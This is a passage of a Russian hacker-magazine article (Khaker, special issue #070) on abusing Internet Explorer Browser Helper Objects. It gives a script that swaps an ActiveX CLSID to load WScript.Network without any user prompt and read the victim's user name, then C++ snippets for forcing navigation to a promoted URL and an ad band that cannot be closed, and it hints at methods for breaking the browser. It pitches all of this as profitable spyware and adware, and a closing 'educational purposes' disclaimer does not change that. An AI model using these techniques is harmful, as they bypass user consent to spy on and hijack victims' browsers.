Тотальный контроль браузера Кочубей Павел aka zOrd Спецвыпуск: Хакер, номер #070, стр. 070-052-4 После загрузки ActiveX модифицируем его CLSID, заменяя его на CLSID необходимого нам несертифицированного ActiveX (в данном случае WScript.Network): <script> function modify(){ theActiveX.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}")//заменяем CLSID //Именно в этом месте кроется уязвимость. //Если браузер выдает ошибку в следующем операторе, значит, он не подвержен уязвимости theActiveX.createInstance()//создаем новый объект WshNetwork = theActiveX.GetObject()//получаем модифицированный объект var userName=WshNetwork.UserName;//получаем информацию о пользователе } </script> После загрузки странички приведенный скрипт нужно запускать спустя несколько секунд, поскольку объекту требуется время, чтобы активироваться: <script>setTimeout("modify()",1000);//запускаем модификацию CLSID после загрузки страницы </script> После модификации CLSID-объекта мы получаем новый объект с нужным нам CLSID, и браузер при этом не запрашивает подтверждения на запуск у пользователя! [даешь больше функций!] Можно сказать, что у нас получился универсальный шпион, но ведь на свете существует еще много интересного! Посмотрим на функции, которые могут помочь в создании собственного BHO. Как известно, многие веб-мастеры хотят, чтобы их проект лицезрело большое количество народу… а что необходимо для раскрутки проекта? Конечно, помимо честных способов и финансирования различных добрых помощников. Наверное, BHO в этом тоже может помочь, ведь существует функция для задания URL. Рассмотрим ее на примере. //Используем уже знакомую нам функцию IWebBrowser2 m_spWebBrowser->Navigate(TEXT("http://www.offbit.1gb.ru")0,0,0,0) При условии грамотного использований BHO компьютерный негодяй сможет сделать по-настоящему прибыльное дело! К примеру, можно установить в панели браузера небольшую рекламу, которую будет лицезреть жертва. Чтобы узнать об этом больше, нужно почитать информацию вот об этих функциях: IObjectWithSite IPersistStream IDeskBand Мне больше всего понравилась IDeskBand. В ее коде явно прописывается, какое сделать окно, и описывается функция закрытия окна, а это для нас важно! Можно просто пропустить эту функцию — и тогда оно откроется навечно. Вот пример: STDMETHODIMP CExplorerBar::ShowDW(BOOL fShow) { if(m_hWnd) { if(fShow) { //show our window ShowWindow(m_hWnd, SW_SHOW); } else { //hide our window ShowWindow(m_hWnd, SW_HIDE); } } return S_OK; } Для товарищей, которым понравился такой злокачественный вариант рекламы, прямая дорога в MSDN, в раздел «Creating Custom Explorer Bars, Tool Bands, and Desk Bands» — там приводятся конкретные примеры по созданию Bars & Bands. Если же программер является шутником или просто великим врагом Internet Explorer, то для него у нас тоже припасен один пример. Если рассмотреть функцию IHTMLDocument2 — в ней можно найти уйму интересных методов, например, следующие: close, open, offline и, конечно же, write. С помощью этих нехитрых функций плохой человек сможет сделать работу в IE невозможной! [The End] Вот и подошла к концу наша поэма о BHO. Основываясь на этой статье и MSDN, ты сможешь сделать то, о чем мечтал долгие годы: простого и функционального помощника. Но учти, что использовать его в противозаконных целях – большое зло! Статья написана в образовательных целях, так что мы не несем ответственности за людей, которые любят совать нос в чужие дела! |